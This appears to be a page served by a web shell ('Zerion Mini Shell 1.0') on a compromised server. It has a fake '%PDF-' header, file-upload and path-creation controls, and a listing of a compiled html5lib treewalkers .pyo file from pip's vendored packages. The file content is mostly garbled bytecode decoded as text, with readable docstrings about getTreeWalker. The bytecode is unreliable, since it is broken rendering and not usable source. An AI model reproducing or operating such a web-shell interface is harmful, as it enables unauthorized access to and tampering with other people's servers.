%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python35/lib/python3.5/site-packages/pip/_vendor/html5lib/treewalkers/
Upload File :
Create Path :
Current File : //opt/alt/python35/lib/python3.5/site-packages/pip/_vendor/html5lib/treewalkers/__init__.pyo

�
�wMVc@`sTdZddlmZmZmZddlZddlmZiZdd�Z
dS(u�A collection of modules for iterating through different kinds of
tree, generating tokens identical to those produced by the tokenizer
module.

To create a tree walker for a new type of tree, you need to do
implement a tree walker object (called TreeWalker by convention) that
implements a 'serialize' method taking a tree as sole argument and
returning an iterator generating tokens.
i(tabsolute_importtdivisiontunicode_literalsNi(t
default_etreecK`s|j�}|tkr�|dkr[dt|f}t|�tj|}|jt|<q�|dkr�ddlm}|jt|<q�|dkr�ddlm	}|jt|<q�|d	kr�dd
lm
}|dkr�t}n|j
||�jSntj|�S(
u6Get a TreeWalker class for various types of tree with built-in support

    treeType - the name of the tree type required (case-insensitive). Supported
               values are:

                "dom" - The xml.dom.minidom DOM implementation
                "pulldom" - The xml.dom.pulldom event stream
                "etree" - A generic walker for tree implementations exposing an
                          elementtree-like interface (known to work with
                          ElementTree, cElementTree and lxml.etree).
                "lxml" - Optimized walker for lxml.etree
                "genshi" - a Genshi stream

    implementation - (Currently applies to the "etree" tree type only). A module
                      implementing the tree type e.g. xml.etree.ElementTree or
                      cElementTree.udomupulldomu%s.%sugenshii(tgenshistreamulxml(t	lxmletreeuetree(tetree(udomupulldomN(tlowerttreeWalkerCachet__name__t
__import__tsystmodulest
TreeWalkertRRRtNoneRtgetETreeModuletget(ttreeTypetimplementationtkwargstnametmodRRR((sZ/opt/alt/python35/lib/python3.5/site-packages/pip/_vendor/html5lib/treewalkers/__init__.pyt
getTreeWalkers&

	(t__doc__t
__future__RRRRtutilsRRRR(((sZ/opt/alt/python35/lib/python3.5/site-packages/pip/_vendor/html5lib/treewalkers/__init__.pyt<module>	s


Zerion Mini Shell 1.0